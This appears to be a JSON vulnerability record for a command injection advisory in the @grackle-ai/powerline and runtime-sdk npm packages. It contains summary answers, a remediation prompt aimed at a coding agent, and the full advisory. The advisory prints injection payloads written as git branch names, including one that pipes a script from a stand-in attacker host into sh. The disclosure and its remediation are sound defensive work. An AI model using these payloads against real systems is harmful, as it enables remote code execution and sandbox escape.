{"answers":{"affected":"4 open source packages ship an affected version, including @grackle-ai/powerline and @grackle-ai/runtime-sdk.","exploited":"There is no known exploitation of GHSA-vv65-f55v-xm6g in the wild and no public exploit code.","fix":"No fix has been published for GHSA-vv65-f55v-xm6g yet. Limit exposure of the affected software until one is available.","what":"GHSA-vv65-f55v-xm6g is a command injection vulnerability in @grackle-ai/powerline, published on 2 Jul 2026. Any signed-in user can exploit it over the network, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-vv65-f55v-xm6g and fix it if it is affected.\n\nWhat it is: GHSA-vv65-f55v-xm6g is a command injection vulnerability in @grackle-ai/powerline, published on 2 Jul 2026. Any signed-in user can exploit it over the network, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-vv65-f55v-xm6g in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- @grackle-ai/powerline (npm): affected all versions up to 0.132.1; no fix listed\n- @grackle-ai/powerline (npm): affected all versions up to 0.132.1; no fix listed\n- @grackle-ai/runtime-sdk (npm): affected all versions up to 0.132.1; no fix listed\n- @grackle-ai/runtime-sdk (npm): affected all versions up to 0.132.1; no fix listed\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-vv65-f55v-xm6g/ (Markdown: https://insights.sbomify.com/GHSA-vv65-f55v-xm6g/index.md)","id":"GHSA-vv65-f55v-xm6g","markdown":"https://insights.sbomify.com/GHSA-vv65-f55v-xm6g/index.md","name":"GHSA-vv65-f55v-xm6g","record":{"aliases":[],"analysis":{"component_type":"library","fix_type":"upgrade","impacts":["code_execution"],"network_reachable":"yes","non_default_config":false,"product_category":"Grackle runtime SDK","requires_auth":"low_privilege","summary":"Attackers can execute arbitrary commands on provisioned hosts by injecting shell metacharacters into unsanitized git branch names via the SpawnSession RPC.","user_interaction":"not_required","vuln_class":"command_injection"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"## Summary\n\nThe default git executor used for all worktree operations spawns `git` through a shell, and the untrusted task **branch** name flows into the command unsanitized. A caller able to reach the PowerLine `SpawnSession` RPC (a malicious or compromised agent acting through the orchestration layer, or any client able to spawn a task) can achieve **arbitrary command execution** as the PowerLine user on every provisioned environment (SSH host, Docker container, or Codespace), escaping the agent sandbox.\n\nThis advisory bundles two related defects in `worktree.ts` (audit findings **F1** and **F13**).\n\n## Affected versions\n\n`@grackle-ai/runtime-sdk` (and reachable via `@grackle-ai/powerline`) at version **0.132.1** and earlier. All publishable packages are lockstep-versioned.\n\n## F1 — Command injection via `shell:true` (primary, High)\n\n**Location:** `packages/runtime-sdk/src/worktree.ts:22-28` (sink), `:135-143` (branch → args). Source: `packages/powerline/src/grpc-server.ts:112` (`req.branch`), `packages/runtime-sdk/src/base-session.ts:60,137`.\n\n`NODE_GIT_EXECUTOR.exec` runs:\n\n```ts\nconst shell = process.env.SHELL || true;   // worktree.ts:24 — always truthy\nconst result = await execRaw(\"git\", args, { ...options, shell });\n```\n\nWhen `shell` is truthy, Node does **not** pass `args` as a safe argv vector — it concatenates `git` + args into a single string run through `sh -c` with **no escaping**. The untrusted `branch` flows unvalidated from the `SpawnSession` gRPC request into:\n\n```ts\n[\"worktree\", \"add\", \"-b\", branch, wtPath, startPoint]   // worktree.ts:135-137\n[\"worktree\", \"add\", wtPath, branch]                     // fallback :143\n```\n\n`sanitizeBranch()` (`worktree.ts:50`) is applied **only** to compute the on-disk worktree directory path — *not* to the `-b \u003cbranch\u003e` argument — so it provides zero protection at the injection sink.\n\n**Exploit:** set a task branch to `x;curl http://attacker/x.sh|sh;#` or `$(touch /tmp/pwned)`. `ensureWorktree` runs it under `sh -c`, yielding RCE as the PowerLine user. (Empirically confirmed during the audit: an args-array branch value `evilbranch;touch /tmp/PWNED` created the file.)\n\nThe sibling git path in `runtime-utils.ts:48-56` already uses `execFileAsync(\"git\", [...])` with **no** shell, confirming `shell:true` is unnecessary here.\n\n## F13 — Argument injection: missing `--` separator (residual, Low)\n\n**Location:** `packages/runtime-sdk/src/worktree.ts:135-143`.\n\nIndependent of the shell issue, `branch` is placed as a positional argument with no `--` terminator. The sibling `checkoutBranch` (`runtime-utils.ts:51`) correctly uses `[\"checkout\", \"--\", branch]`. Only the fallback invocation (bare trailing positional) is genuinely flag-injectable; `git worktree add` exposes no dangerous flags reachable this way, so standalone impact is limited — but it should be hardened alongside F1.\n\n## Remediation\n\n1. **Remove `shell` from `NODE_GIT_EXECUTOR`** — `execFile('git', args)` with the argv array is already safe and is the pattern used in `runtime-utils.ts`. This is the primary fix.\n2. Add a `--` separator before positional refs/paths in both `worktree add` invocations.\n3. **Defense in depth:** validate `branch` at the gRPC boundary (`grpc-server.ts`) against git ref rules — reject names beginning with `-`, containing `..`, or containing shell metacharacters — before it reaches `ensureWorktree`.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"The default git executor used for all worktree operations spawns `git` through a shell, and the untrusted task **branch** name fl","id":"GHSA-vv65-f55v-xm6g","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"npm","product":null,"products":[],"type":"command_injection","year":"2026"},"n_packages":4,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":["0.132.1"],"package":"@grackle-ai/powerline","purl":null,"source":"GHSA-vv65-f55v-xm6g"},{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":["0.132.1"],"package":"@grackle-ai/powerline","purl":"pkg:npm/%40grackle-ai/powerline","source":"GHSA-vv65-f55v-xm6g"},{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":["0.132.1"],"package":"@grackle-ai/runtime-sdk","purl":null,"source":"GHSA-vv65-f55v-xm6g"},{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":["0.132.1"],"package":"@grackle-ai/runtime-sdk","purl":"pkg:npm/%40grackle-ai/runtime-sdk","source":"GHSA-vv65-f55v-xm6g"}],"products":null,"published":"2026-07-02","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Attackers can execute arbitrary commands on provisioned hosts by injecting shell metacharacters into unsanitized git branch names via the SpawnSession RPC.","url":"https://insights.sbomify.com/GHSA-vv65-f55v-xm6g/"}